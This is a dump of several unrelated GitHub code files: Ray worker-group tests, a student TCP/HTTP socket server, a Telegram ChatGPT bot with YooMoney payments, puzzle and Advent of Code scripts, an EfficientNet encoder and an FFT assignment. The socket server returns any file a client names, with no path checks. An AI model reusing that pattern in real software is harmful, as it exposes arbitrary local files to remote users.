wg.execute(lambda: 1)\n\n\ndef test_worker_restart(ray_start_2_cpus):\n wg = WorkerGroup(num_workers=2)\n with pytest.raises(RuntimeError):\n wg.start()\n # Avoid race condition.\n time.sleep(1)\n wg.shutdown(0)\n wg.start()\n wg.execute(lambda: 1)\n\n\ndef test_worker_with_gpu_ids(ray_start_2_cpus_and_gpus):\n num_gpus = 2\n wg = WorkerGroup(num_workers=2, num_gpus_per_worker=1)\n assert len(wg.workers) == 2\n time.sleep(1)\n assert ray_constants.GPU not in ray.available_resources()\n wg.execute(lambda: 1)\n assert len(wg.workers) == 2\n for w in wg.workers:\n resource_ids = w.metadata.resource_ids\n gpu_ids = resource_ids[ray_constants.GPU]\n for gpu_id in gpu_ids:\n assert gpu_id in [str(i) for i in range(num_gpus)]\n assert len(resource_ids[ray_constants.NEURON_CORES]) == 0\n\n\ndef test_worker_with_neuron_core_accelerator_ids(\n ray_start_2_cpus_and_neuron_core_accelerator,\n):\n num_nc = 2\n wg = WorkerGroup(\n num_workers=2, additional_resources_per_worker={ray_constants.NEURON_CORES: 1}\n )\n assert len(wg.workers) == 2\n time.sleep(1)\n assert ray_constants.NEURON_CORES not in ray.available_resources()\n wg.execute(lambda: 1)\n assert len(wg.workers) == 2\n for w in wg.workers:\n resource_ids = w.metadata.resource_ids\n assert len(resource_ids[ray_constants.GPU]) == 0\n neuron_core_ids = resource_ids[ray_constants.NEURON_CORES]\n for neuron_core_id in neuron_core_ids:\n assert neuron_core_id in [str(i) for i in range(num_nc)]\n\n\ndef test_execute_async(ray_start_2_cpus):\n wg = WorkerGroup(num_workers=2)\n futures = wg.execute_async(lambda: 1)\n assert len(futures) == 2\n outputs = ray.get(futures)\n assert all(o == 1 for o in outputs)\n\n\ndef test_execute(ray_start_2_cpus):\n wg = WorkerGroup(num_workers=2)\n outputs = wg.execute(lambda: 1)\n assert len(outputs) == 2\n assert all(o == 1 for o in outputs)\n\n\ndef test_execute_args(ray_start_2_cpus):\n wg = WorkerGroup(num_workers=2)\n outputs = wg.execute(lambda x: x, 1)\n assert len(outputs) == 2\n assert all(o == 1 for o in outputs)\n\n\ndef test_group_workers_by_ip(ray_start_2_cpus):\n def create_worker_group(ips):\n wg = WorkerGroup(num_workers=2)\n wg.workers = [\n Worker(\n actor=None,\n metadata=WorkerMetadata(\n node_id=\"dummy\",\n node_ip=ip,\n hostname=\"dummy\",\n resource_ids={},\n pid=0,\n ),\n )\n for ip in ips\n ]\n return wg\n\n wg = create_worker_group([\"2\", \"3\", \"1\", \"4\", \"2\", \"1\", \"3\", \"3\", \"4\", \"2\"])\n wg.sort_workers_by_ip_and_gpu_id()\n expected = [\"2\", \"2\", \"2\", \"3\", \"3\", \"3\", \"1\", \"1\", \"4\", \"4\"]\n ips = [w.metadata.node_ip for w in wg.workers]\n assert ips == expected, (\n \"Workers should be grouped by IP \"\n \"and follow the same original order of IPs encountered (2, 3, 1, 4).\"\n )\n\n wg = create_worker_group([\"2\", \"3\", \"1\", \"4\", \"2\", \"1\", \"3\", \"3\", \"4\", \"2\"])\n wg.sort_workers_by_ip_and_gpu_id(_first_ip=\"1\")\n expected = [\"1\", \"1\", \"2\", \"2\", \"2\", \"3\", \"3\", \"3\", \"4\", \"4\"]\n ips = [w.metadata.node_ip for w in wg.workers]\n assert (\n ips == expected\n ), \"Workers should be grouped by IP, with the first IP being 1.\"\n\n\ndef test_sort_local_workers_by_gpu_id(ray_start_2_cpus):\n def create_worker_group(pids, ips, gpu_ids):\n wg = WorkerGroup(num_workers=2)\n wg.workers = [\n Worker(\n actor=None,\n metadata=WorkerMetadata(\n node_id=\"dummy\",\n node_ip=ip,\n hostname=\"dummy\",\n resource_ids={\"GPU\": gpu_id.split() if gpu_id else []},\n pid=pid,\n ),\n )\n for pid, ip, gpu_id in zip(pids, ips, gpu_ids)\n ]\n return wg\n\n def setup_and_check_worker_group(pids, ips, gpu_ids, expected_local_ranks):\n \"\"\"\n Create a worker group, group workers by IP, and check local ranks assignment.\n\n Args:\n pids: List of unique process IDs.\n ips: List of IP addresses corresponding to each PID.\n gpu_ids: List of GPU IDs or None for each PID.\n expected_local_ranks: Dictionary mapping PID to the\n expected local rank.\n \"\"\"\n wg = create_worker_group(pids=pids, ips=ips, gpu_ids=gpu_ids)\n wg.sort_workers_by_ip_and_gpu_id()\n\n # Build local ranks according to the logics in\n # `BackendExecutor._create_rank_world_size_mappings()`\n ip_dict = defaultdict(int)\n local_ranks_map = defaultdict(int)\n for w in wg.workers:\n local_ranks_map[w.metadata.pid] = ip_dict[w.metadata.node_ip]\n ip_dict[w.metadata.node_ip] += 1\n\n local_ranks = [local_ranks_map[pid] for pid in pids]\n\n assert (\n local_ranks == expected_local_ranks\n ), \"Incorrect local ranks allocation!\\n\"\n f\"Expect: {expected_local_ranks}\\nGot: {local_ranks}\"\n\n # Define the worker configurations for different scenarios\n # For workers without GPU resources, their original order will be preserved\n cpu_workers_config = {\n \"pids\": [0, 1, 2, 3, 4, 5, 6, 7],\n \"ips\": [\"2\", \"2\", \"1\", \"1\", \"2\", \"1\", \"1\", \"2\"],\n \"gpu_ids\": [None] * 8,\n \"expected_local_ranks\": [0, 1, 0, 1, 2, 2, 3, 3],\n }\n\n gpu_workers_single_gpu_config = {\n \"pids\": [0, 1, 2, 3, 4, 5, 6, 7],\n \"ips\": [\"2\", \"2\", \"1\", \"1\", \"2\", \"1\", \"1\", \"2\"],\n \"gpu_ids\": [\"1\", \"0\", \"3\", \"2\", \"2\", \"0\", \"1\", \"3\"],\n \"expected_local_ranks\": [1, 0, 3, 2, 2, 0, 1, 3],\n }\n\n # For workers with multiple gpus, sort by their lowest gpu id\n gpu_workers_multiple_gpus_config = {\n \"pids\": [0, 1, 2, 3],\n \"ips\": [\"2\", \"1\", \"1\", \"2\"],\n \"gpu_ids\": [\"1,3\", \"2,1\", \"0,3\", \"0,2\"],\n \"expected_local_ranks\": [1, 1, 0, 0],\n }\n\n # Setup and check worker groups for each configuration\n setup_and_check_worker_group(**cpu_workers_config)\n setup_and_check_worker_group(**gpu_workers_single_gpu_config)\n setup_and_check_worker_group(**gpu_workers_multiple_gpus_config)\n\n\ndef test_execute_single(ray_start_2_cpus):\n wg = WorkerGroup(num_workers=2)\n\n def f():\n import os\n\n os.environ[\"TEST\"] = \"1\"\n\n wg.execute_single(1, f)\n\n def check():\n import os\n\n return os.environ.get(\"TEST\", \"0\")\n\n assert wg.execute(check) == [\"0\", \"1\"]\n\n\ndef test_bad_resources(ray_start_2_cpus):\n with pytest.raises(ValueError):\n WorkerGroup(num_workers=-1)\n\n with pytest.raises(ValueError):\n WorkerGroup(num_cpus_per_worker=-1)\n\n with pytest.raises(ValueError):\n WorkerGroup(num_gpus_per_worker=-1)\n\n\ndef test_placement_group(ray_start_2_cpus):\n \"\"\"Tests that workers can be removed and added to a placement group.\"\"\"\n num_workers = 2\n bundle = {\"CPU\": 1}\n bundles = [bundle.copy() for _ in range(num_workers)]\n placement_group = ray.util.placement_group(bundles)\n wg = WorkerGroup(num_workers=num_workers, placement_group=placement_group)\n wg.remove_workers([0])\n wg.add_workers(1)\n\n\nif __name__ == \"__main__\":\n import sys\n\n import pytest\n\n sys.exit(pytest.main([\"-v\", \"-x\", __file__]))\n","repo_name":"0x2b3bfa0/ray","sub_path":"python/ray/train/tests/test_worker_group.py","file_name":"test_worker_group.py","file_ext":"py","file_size_in_byte":9286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"35662194611","text":"import socket\nimport os\nimport subprocess\n\nHOST = 'localhost'\nPORT = 5001\ntcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\norig = (HOST, PORT)\n\ntcp.bind(orig)\ntcp.listen(1)\n\ndef contentType(arq):\n ext = arq.split(\".\")\n if ext[-1] == \"html\":\n return \"text/html\"\n elif ext[-1] == \"txt\":\n return \"text/txt\"\n elif ext[-1] == \"jpg\":\n return \"image/jpg\"\n elif ext[-1] == \"png\":\n return \"image/png\"\n elif ext[-1] == \"gif\":\n return \"image/gif\"\n elif ext[-1] == \"ico\":\n return \"image/ico\"\n elif ext[-1] == \"css\":\n return \"text/css\"\n\ndef save_html(content, filename):\n f = open(filename, 'w')\n f.write(content)\n f.close()\n\nwhile True:\n con, cliente = tcp.accept()\n print ('Concetado por', cliente)\n\n while True:\n msg = con.recv(4096)\n if not msg: break\n print (cliente, msg.decode())\n msgd = msg.decode()\n\n if msgd[:3] == 'ls ':\n var = subprocess.getstatusoutput('ls')\n var1 = var[1]\n print(var1)\n con.send (var1.encode())\n\n elif msgd[:4] == 'get ':\n arqname = msgd[4:]\n arq = open(arqname, 'r')\n\n for i in arq.readlines():\n con.send(i.encode())\n arq.close()\n\n elif msgd[:5] == 'GET /':\n msgd = msgd[5:].split(\" \")\n type = contentType(msgd[0])\n try:\n arq = open(msgd[0],'rb')\n except FileNotFoundError:\n print(\"404 Not Found\")\n arq2 = arq.read()\n varl=len(arq2)\n header=\"HTTP/1.1 200 OK\\r\\n\"\n header1=\"Content-Type: {}\\r\\n\".format(type)\n header2=\"Content-Length: {}\\r\\n\".format(varl)\n blank=\"\\r\\n\"\n sendt=header.encode()+header1.encode()+header2.encode()+blank.encode()+arq2\n con.send(sendt)\n arq.close()\n\n elif msgd[:5] == 'file ':\n msgd = msgd[5:]\n con.close()\n tcp.close()\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_address = (msgd, 80)\n client_socket.connect(server_address)\n request_header = 'GET / HTTP/1.1\\r\\nHost: {}\\r\\nConnection: keep-alive\\r\\n Content-Length: 0\\r\\n\\r\\n'.format(msgd)\n client_socket.send(request_header.encode())\n while True:\n recv = client_socket.recv(4096)\n print (recv.decode())\n if not recv:\n break\n recvd = recv.decode()\n save_html(recvd, msgd)\n client_socket.close()\n\n print ('Finalizando conexao do cliente', cliente)\n con.close()\n","repo_name":"mauroceaz/Cliente-servidor","sub_path":"serv.py","file_name":"serv.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"32499115066","text":"# библиотека работы с гугл таблицами\n# import gspread\nimport openai\n# библиотека проверки даты\nfrom datetime import datetime\nfrom yoomoney import Client, Quickpay\nfrom openpyxl import load_workbook # библиотека работы с exel таблицами\nfrom paswords import *\nfrom keyboards import *\n\nsaved_messages_davinci = []\n\n\nasync def Davinci(bot, message, text, answer_message, proverka):\n global statistic\n try:\n openai.api_key = Davinci_key\n answer_davinci = open('davinci.txt.txt', 'r', encoding='utf-8')\n saved_messages_davinci.insert(0, f'Вы: {text}\\n')\n prompt_davinci = (str(answer_davinci.read()) + ''.join(reversed(saved_messages_davinci)))\n if proverka == 'YES':\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=prompt_davinci,\n temperature=0.0,\n max_tokens=1000,\n top_p=1,\n frequency_penalty=0.0,\n presence_penalty=0.0,\n )\n await bot.edit_message_text(f'{response[\"choices\"][0][\"text\"]}', message.chat.id, answer_message.message_id)\n saved_messages_davinci.insert(0, f'{str(response[\"choices\"][0][\"text\"])}\\n')\n if len(saved_messages_davinci) >= 8:\n del saved_messages_davinci[3:]\n else:\n await bot.edit_message_text(f'Для дальнейшего использования бота нужно пополнить баланс', message.chat.id,\n answer_message.message_id)\n await buttons(bot, message).oplata_buttons(url=await platezhy(bot, message).url_generation())\n except Exception:\n await bot.send_message(message.chat.id, \"Простите но мне нужен перекур..\")\n await bot.send_message(admin_id, \"Простите но мне нужен перекур..\")\n del saved_messages_davinci[1:]\n\n\nclass statistic:\n def __init__(self):\n self.wb = load_workbook('chek_list.xlsx')\n self.ws = self.wb['посещения']\n\n def obnulenie(self):\n seconds_now = (datetime.now().time().hour * 3600 + datetime.now().time().minute * 60 + datetime.now().time().second)\n for row in self.ws['B2':f'C{self.ws.max_row}']:\n if row[1].value != 0:\n row[1].value = int(row[1].value) - 1\n if 0 <= seconds_now <= 21600:\n row[0].value = 0\n else:\n row[0].value = 0\n self.wb.save('chek_list.xlsx')\n\n async def proverka(self, message):\n for row in self.ws['A2':f'C{self.ws.max_row}']:\n if row[0].value == message.chat.id:\n if row[2].value != 0:\n return 'YES'\n else:\n if row[1].value <= 2:\n row[1].value += 1\n self.wb.save('chek_list.xlsx')\n return 'YES'\n else:\n return \"NO\"\n new_row = self.ws.max_row + 1\n self.ws[f'A{new_row}'].value = message.chat.id\n self.ws[f'B{new_row}'].value = 1\n self.ws[f'C{new_row}'].value = 0\n self.wb.save('chek_list.xlsx')\n return 'YES'\n\n async def status(self, message):\n for row in self.ws['A2':f'C{self.ws.max_row}']:\n if row[0].value == message.chat.id:\n if row[2].value == 0:\n return f'Подписка отсутствует. Использовано {row[1].value} из 3 бесплатных запросов'\n elif 0 < row[2].value <= 4:\n return f'Оформлен безлимит на сутки. Осталось более {row[2].value * 6} часов пользования.'\n elif row[2].value > 4:\n return f'Оформлен недельный безлимит. Осталось более {row[2].value * 6} часов пользования.'\n return f'Подписка отсутствует. Использовано 0 из 3 бесплатных запросов'\n\n\nclass platezhy:\n def __init__(self, bot, message):\n self.bot = bot\n self.message = message\n try:\n self.marker_mess = str(self.message.chat.id)\n except AttributeError:\n self.marker_mess = str(self.message.message.chat.id)\n\n async def url_generation(self):\n try:\n quickpay = Quickpay(\n receiver=\"4100116460956966\",\n quickpay_form=\"shop\",\n targets=\"payment\",\n paymentType=\"SB\",\n sum=10,\n label=self.marker_mess\n )\n return quickpay.base_url\n except AttributeError:\n quickpay = Quickpay(\n receiver=\"4100116460956966\",\n quickpay_form=\"shop\",\n targets=\"payment\",\n paymentType=\"SB\",\n sum=10,\n label=self.marker_mess\n )\n return quickpay.base_url\n\n async def chec_control(self):\n wb = load_workbook('chek_list.xlsx')\n ws = wb['посещения']\n token = token_umany\n client = Client(token)\n try:\n history = client.operation_history(label=self.marker_mess)\n # for operation in history.operations:\n # print()\n # print(\"Operation:\", operation.operation_id)\n # print(\"\\tStatus -->\", operation.status)\n # print(\"\\tDatetime -->\", operation.datetime)\n # print(\"\\tTitle -->\", operation.title)\n # print(\"\\tPattern id -->\", operation.pattern_id)\n # print(\"\\tDirection -->\", operation.direction)\n # print(\"\\tAmount -->\", operation.amount)\n # print(history.operations[0].amount)\n except AttributeError:\n history = client.operation_history(label=self.marker_mess)\n try:\n if (datetime.now().day == history.operations[0].datetime.day) or (datetime.now().day ==\n history.operations[0].datetime.day + 1):\n if history.operations[0].amount == 9.7:\n for row in ws['A2':f'C{ws.max_row}']:\n if row[0].value == self.message.message.chat.id:\n if row[2].value == 0:\n row[1].value = 0\n row[2].value = 4\n await self.bot.send_message(self.message.message.chat.id, f'Оплата прошла, спасибо! '\n f'У вас 24 часа пользования '\n f'ботом.')\n await self.bot.send_message(admin_id, f'🚨!!!ВНИМАНИЕ!!!🚨\\n'\n f'Поступила оплата от:\\n'\n f'id чата: {self.message.message.chat.id}\\n'\n f'Имя: {self.message.from_user.first_name}\\n'\n f'Фамилия: {self.message.from_user.last_name}\\n'\n f'Ссылка: @{self.message.from_user.username}\\n')\n wb.save('chek_list.xlsx')\n break\n else:\n await self.bot.send_message(self.message.message.chat.id, f'Платеж был проверен ранее, '\n f'у вас 24 часа пользования '\n f'ботом.')\n break\n elif history.operations[0].amount > 9.7:\n for row in ws['A2':f'C{ws.max_row}']:\n if row[0].value == self.message.message.chat.id:\n if row[2].value == 0:\n row[1].value = 0\n row[2].value = 28\n await self.bot.send_message(self.message.message.chat.id, f'Оплата прошла, спасибо! '\n f'У вас 7 дней пользования '\n f'ботом.')\n await self.bot.send_message(admin_id, f'🚨!!!ВНИМАНИЕ!!!🚨\\n'\n f'Поступила оплата от:\\n'\n f'id чата: {self.message.message.chat.id}\\n'\n f'Имя: {self.message.from_user.first_name}\\n'\n f'Фамилия: {self.message.from_user.last_name}\\n'\n f'Ссылка: @{self.message.from_user.username}\\n')\n wb.save('chek_list.xlsx')\n break\n elif 1 <= row[2].value <= 4:\n row[1].value = 0\n row[2].value += 28\n await self.bot.send_message(self.message.message.chat.id, f'Оплата прошла, спасибо! '\n f'У вас добавлено 7 дней '\n f'пользования ботом.')\n await self.bot.send_message(admin_id, f'🚨!!!ВНИМАНИЕ!!!🚨\\n'\n f'Поступила доплата от:\\n'\n f'id чата: {self.message.message.chat.id}\\n'\n f'Имя: {self.message.from_user.first_name}\\n'\n f'Фамилия: {self.message.from_user.last_name}\\n'\n f'Ссылка: @{self.message.from_user.username}\\n')\n wb.save('chek_list.xlsx')\n break\n elif row[2].value >= 24:\n await self.bot.send_message(self.message.message.chat.id, f'Платеж был проверен ранее, '\n f'у вас 24 часа пользования '\n f'ботом.')\n else:\n await self.bot.send_message(self.message.message.chat.id, f'Платеж не найден. '\n f'Если Вы оплатили товар, напишите в '\n f'поддержку @hloapps')\n await buttons(self.bot, self.message).oplata_buttons(url=await platezhy(self.bot, self.message).url_generation())\n except IndexError:\n await self.bot.send_message(self.message.message.chat.id, 'Платеж не найден. Если Вы оплатили товар, '\n 'напишите в поддержку @hloapps')\n await buttons(self.bot, self.message).oplata_buttons(url=await platezhy(self.bot, self.message).url_generation())\n\n\n\n","repo_name":"codemachinee/davinchi","sub_path":"functions_file.py","file_name":"functions_file.py","file_ext":"py","file_size_in_byte":12582,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27631912458","text":"\"\"\"\nhttps://fivethirtyeight.com/features/can-you-make-room-for-goats/\n\"\"\"\nfrom itertools import product\nfrom math import prod\nfrom typing import Iterable\n\n\ndef _get_sum_combinations(\n factors: list[int], n_addends: int = 4\n) -> Iterable[tuple[int, list[int]]]:\n \"\"\"\n Find all different #s we can sum to with different combinations\n of these factors into 4 values\n \"\"\"\n assignments = product(*(range(n_addends) for _ in factors))\n for assignment in assignments:\n addends = [1 for _ in range(n_addends)]\n # This is super inefficient. Could be sped up by:\n # - removing duplicates (since factors aren't unique)\n # - immediately dropping anything with an addend above 7.11\n for factor, index in zip(factors, assignment):\n addends[index] *= factor\n yield sum(addends), addends\n\n\ndef _main():\n # Prime factors of 711, dividing 79 by 100\n # because it 79 and 7.9 immediately take us over $7.11\n factors = [3, 3, 0.79]\n target = prod(factors)\n while True:\n for total, items in _get_sum_combinations(factors):\n error = abs(total - target)\n if error < 0.001:\n return items\n # Adding in these factors is the only way to keep the product the same\n factors.extend([2, 5, 0.1])\n\n\nif __name__ == \"__main__\":\n winner = _main()\n print(winner)\n","repo_name":"NathanDeMaria/this-is-me-trying","sub_path":"m_2022_06_24_express_711.py","file_name":"m_2022_06_24_express_711.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27161996354","text":"from dataclasses import dataclass\nimport copy\n@dataclass\nclass Node:\n name: str\n paths: list\n\nclass Cave:\n start: str\n nodes: list\n\nfinalPaths = []\n\ndef getPathsGood(curNode,nodes,curPath,paths):\n #print()\n #print(\"Function Called: \")\n #print(\"CurNode: \"+curNode)\n #print(\"CurPath: \"+str(curPath))\n #print(\"Paths: \"+str(paths))\n \n if curNode == \"end\":\n curPath.append(curNode)\n paths.append(curPath)\n finalPaths.append(curPath)\n return paths\n\n else:\n curPath.append(curNode)\n tempPaths = []\n for child in nodes[curNode]:\n # Does not go back to start\n if child != \"start\":\n if child.isupper():\n tempPaths.append(getPathsGood(child,nodes,copy.deepcopy(curPath),copy.deepcopy(paths)))\n else:\n if child not in curPath:\n tempPaths.append(getPathsGood(child,nodes,copy.deepcopy(curPath),copy.deepcopy(paths)))\n paths.append(tempPaths)\n if len(paths) > 0:\n return paths\n \n\ndef getPaths(curNode,nodes,curPath,paths):\n curPath.append(curNode)\n #if curNode \n print(curNode)\n if curNode == \"end\":\n print(curPath)\n return curPath\n else:\n for child in nodes[curNode]:\n print(curNode+\",\"+child)\n for child2 in nodes[child]:\n \n if child2 != \"start\":\n print(curNode+\",\"+child+\",\"+child2)\n\n if child2 in nodes.keys() and child2 != \"end\":\n\n for child3 in nodes[child2]:\n if child3 != \"start\" and child3:\n print(curNode+\",\"+child+\",\"+child2+\",\"+child3)\n\n\n\n #if curNode in nodes.keys():\n # for child in nodes[curNode]:\n # if child.isupper():\n # getPaths(curNode,nodes,curPath,paths)\n # else:\n # if child not in curPath:\n # getPaths(curNode,nodes,curPath,paths)\n #else:\n # return []\n \n #for child in nodes[curNode]:\n #print()\n #print(child)\n #for child2 in nodes[child]:\n #print(child2)\n #print(child2 in nodes.keys())\n\n #paths = getPaths(child,nodes,curPath,paths)\n #return paths \n\nif __name__ == \"__main__\":\n filename=\"input.txt\"\n with open(filename) as f:\n lines = [line.rstrip() for line in f]\n nodes = {}\n for line in lines:\n path = line.split(\"-\")\n #print(line.split(\"-\"))\n if path[0] not in nodes.keys():\n nodes[path[0]] = []\n #elif path[0] in nodes.keys():\n if path[1] not in nodes.keys():\n nodes[path[1]] = []\n nodes[path[0]].append(path[1])\n nodes[path[1]].append(path[0])\n\n \n #print(nodes)\n curNode = \"start\"\n \n paths = getPathsGood(curNode,nodes,[],[])\n #print(\"\")\n #print(\"Final Paths: \")\n #print(paths)\n #for path in paths:\n # print(path)\n \n print(len(finalPaths))\n \n\n ","repo_name":"mynameisgump/advent-of-code-2021","sub_path":"12/day-12.py","file_name":"day-12.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"28398366175","text":"import torch.nn as nn\nfrom efficientnet_pytorch import EfficientNet\n\n\nclass EfficientNetEncoder(nn.Module):\n def __init__(self, model_name):\n super(EfficientNetEncoder, self).__init__()\n assert model_name in {'efficientnet-b3', 'efficientnet-b4', 'efficientnet-b5'}\n\n self.encoder = EfficientNet.from_pretrained(model_name)\n\n model_name_to_extracts = {\n 'efficientnet-b3': {4, 7, 14, 25},\n 'efficientnet-b4': {5, 9, 21, 31},\n 'efficientnet-b5': {7, 12, 26, 36}\n }\n self.extracts = model_name_to_extracts[model_name]\n self.len_encoder = max(self.extracts) + 1\n\n model_name_to_planes = {\n 'efficientnet-b3': [32, 48, 136, 384],\n 'efficientnet-b4': [32, 56, 160, 448],\n 'efficientnet-b5': [40, 64, 176, 512]\n }\n self.planes = model_name_to_planes[model_name]\n\n def forward(self, x):\n x = self.encoder._swish(self.encoder._bn0(self.encoder._conv_stem(x)))\n outputs = list()\n\n # Encoder blocks\n for idx in range(self.len_encoder):\n drop_connect_rate = self.encoder._global_params.drop_connect_rate\n if drop_connect_rate:\n drop_connect_rate *= float(idx) / len(self.encoder._blocks)\n x = self.encoder._blocks[idx](x, drop_connect_rate=drop_connect_rate)\n\n if idx in self.extracts:\n outputs.append(x)\n return outputs\n","repo_name":"yukkyo/Kaggle-Understanding-Clouds-69th-solution","sub_path":"src/models/backbones/efficientnet.py","file_name":"efficientnet.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"5"} +{"seq_id":"26063075052","text":"# Gavin Browning - A01887359\r\n# CS 5050 - Assignment 7 - Polynomial Multiplication Three\r\n# Python 3\r\n\r\nimport math\r\nimport cmath\r\nimport copy\r\nimport random\r\nimport time\r\n\r\n\r\n# Function to return omega at size n\r\ndef omega(i, n):\r\n w = cmath.exp((2 * cmath.pi * 1j * i) / n)\r\n\r\n if n > 0:\r\n return w\r\n else:\r\n return None\r\n\r\n\r\n# Function to check if n is a power of two\r\ndef check_if_power_of_two(n):\r\n if n > 1:\r\n power_of_two = math.log(n, 2)\r\n return abs(power_of_two - int(power_of_two)) == 0\r\n else:\r\n return False\r\n\r\n\r\n# Pads polynomial with zero until n is a power of two\r\ndef zero_padding_power_of_two(poly):\r\n n = len(poly)\r\n padded_poly = copy.copy(poly)\r\n\r\n if n > 2 and check_if_power_of_two(n):\r\n return padded_poly\r\n\r\n while True:\r\n padded_poly.append(0)\r\n if check_if_power_of_two(len(padded_poly)):\r\n return padded_poly\r\n\r\n\r\n# Pads polynomial with zero to make it a size of 2n\r\ndef zero_padding_two_n(poly):\r\n padded_poly = copy.copy(poly)\r\n\r\n while True:\r\n padded_poly.append(0)\r\n if check_if_power_of_two(len(padded_poly)):\r\n return padded_poly\r\n\r\n\r\n# Splits the polynomial into even values\r\ndef split_polynomial_even(poly):\r\n n = len(poly)\r\n even_poly = []\r\n\r\n for i in range(0, n, 2):\r\n even_poly.append(poly[i])\r\n return even_poly\r\n\r\n\r\n# Splits the polynomial into odd values\r\ndef split_polynomial_odd(poly):\r\n n = len(poly)\r\n odd_poly = []\r\n\r\n for i in range(1, n, 2):\r\n odd_poly.append(poly[i])\r\n return odd_poly\r\n\r\n\r\n# Recursive function that computes the FFT of PQ\r\ndef polynomial_fft(poly, om=omega):\r\n n = len(poly)\r\n if n == 1:\r\n return poly\r\n\r\n even_poly = split_polynomial_even(poly)\r\n odd_poly = split_polynomial_odd(poly)\r\n\r\n sol_e = polynomial_fft(even_poly, om)\r\n sol_o = polynomial_fft(odd_poly, om)\r\n sol = sol_e + sol_o\r\n\r\n t = int(n/2)\r\n w = 1\r\n w_n = om(1, n)\r\n\r\n for i in range(0, t):\r\n sol[i] = sol_e[i] + w * sol_o[i]\r\n sol[i + t] = sol_e[i] - w * sol_o[i]\r\n w = w * w_n\r\n return sol\r\n\r\n\r\n# Function that inverses FFT to interpolate the coefficients of PQ.\r\ndef polynomial_inverse_fft(poly, om=omega):\r\n n = len(poly)\r\n if n == 1:\r\n return poly\r\n\r\n even_poly = split_polynomial_even(poly)\r\n odd_poly = split_polynomial_odd(poly)\r\n\r\n sol_e = polynomial_inverse_fft(even_poly, om)\r\n sol_o = polynomial_inverse_fft(odd_poly, om)\r\n sol = sol_e + sol_o\r\n\r\n t = int(n/2)\r\n w = 1\r\n w_n = om(-1, n)\r\n\r\n for i in range(0, t):\r\n sol[i] = sol_e[i] + w * sol_o[i]\r\n sol[i + t] = sol_e[i] - w * sol_o[i]\r\n w = w * w_n\r\n return sol\r\n\r\n\r\n# Function to check if n is a power of 2, and if it isn't, pad it with zero until it is.\r\ndef padding_check(poly, om=omega):\r\n n = len(poly)\r\n if not check_if_power_of_two(n):\r\n return polynomial_fft(zero_padding_power_of_two(poly), om)\r\n else:\r\n return polynomial_fft(poly, om)\r\n\r\n\r\n# Function that reverts poly back to the initial array.\r\ndef inverse_padding_check(poly, om=omega):\r\n n = len(poly)\r\n if not check_if_power_of_two(n):\r\n return [i / n for i in polynomial_inverse_fft(zero_padding_power_of_two(poly), om)]\r\n else:\r\n return [i / n for i in polynomial_inverse_fft(poly, om)]\r\n\r\n\r\n# Function that splits the inverse FFT solution into real and imaginary number arrays.\r\ndef inverse_fft_split(poly, om=omega):\r\n real_array = []\r\n imaginary_array = []\r\n\r\n for i in inverse_padding_check(poly, om):\r\n real_array.append(i.real)\r\n imaginary_array.append(i.imag)\r\n return real_array, imaginary_array\r\n\r\n\r\ndef fft_polynomial_multiplication(p, q, om=omega):\r\n # Pads p and q with zero until the polynomial length is a power of two\r\n padded_p = zero_padding_power_of_two(p)\r\n padded_q = zero_padding_power_of_two(q)\r\n\r\n # Pads p and q with zero until the polynomial length is size 2n\r\n padded_p = zero_padding_two_n(padded_p)\r\n padded_q = zero_padding_two_n(padded_q)\r\n\r\n # Checks padding and computes the FFT of p and q\r\n p_fft = padding_check(padded_p, om)\r\n q_fft = padding_check(padded_q, om)\r\n\r\n # Multiplies p_fft and q_fft together and stored in p_q\r\n p_q = []\r\n for x, y in zip(p_fft, q_fft):\r\n p_q.append(x*y)\r\n\r\n # Computes the inverse FFT of pq and splits the result into real and imaginary number arrays\r\n real, imaginary = inverse_fft_split(p_q, om)\r\n\r\n return real[:2*len(p)-1], imaginary[:2*len(p)-1]\r\n\r\n\r\n# Function to print the polynomials\r\ndef print_polynomials(pf):\r\n poly_string = \"\"\r\n for i in range(len(pf)):\r\n poly_string += str(pf[i])\r\n if i != 0:\r\n poly_string += \"x^\"\r\n poly_string += str(i)\r\n poly_string += \" + \"\r\n else:\r\n poly_string += \" + \"\r\n\r\n poly_string = poly_string[:-3]\r\n print(poly_string)\r\n\r\n\r\n# Creates an array of size n with random values between -1.0 and 1.0\r\ndef random_array(n):\r\n r_array = [random.uniform(-1.0, 1.0) for i in range(0, n)]\r\n return r_array\r\n\r\n\r\ndef main():\r\n n: int = 32\r\n\r\n start = time.time()\r\n\r\n # Loops fft_polynomial_multiplication 10 times\r\n for i in range(10):\r\n p = random_array(n)\r\n q = random_array(n)\r\n fft_polynomial_multiplication(p, q)\r\n\r\n # Tests class example FFT algorithm traceback\r\n # p = [0, 1, 2, 3]\r\n # q = [10, 11, 12, 13]\r\n # pf = fft_polynomial_multiplication(p, q, omega)\r\n # print(pf)\r\n\r\n total_time = time.time() - start\r\n\r\n # Print problem size and run time to console\r\n print(\"Problem Size: \" + str(n))\r\n print(\"\\nRun Time: \", total_time, \" seconds\")\r\n\r\n # Write data to file\r\n # with open('data.txt', 'a') as f:\r\n # f.write(\"Problem Size: \" + str(n))\r\n # f.write(\"\\nRun Time: \" + str(total_time) + \" seconds\\n\\n\")\r\n # f.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"GSmily/Coursework","sub_path":"CS 5050 - Advanced Algorithms/Assignments/Assignment 7/Code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10468284253","text":"import time\nimport numpy as np\nimport torch\nimport shutil\nfrom enum import Enum\n\nfeature_layers = {'8': 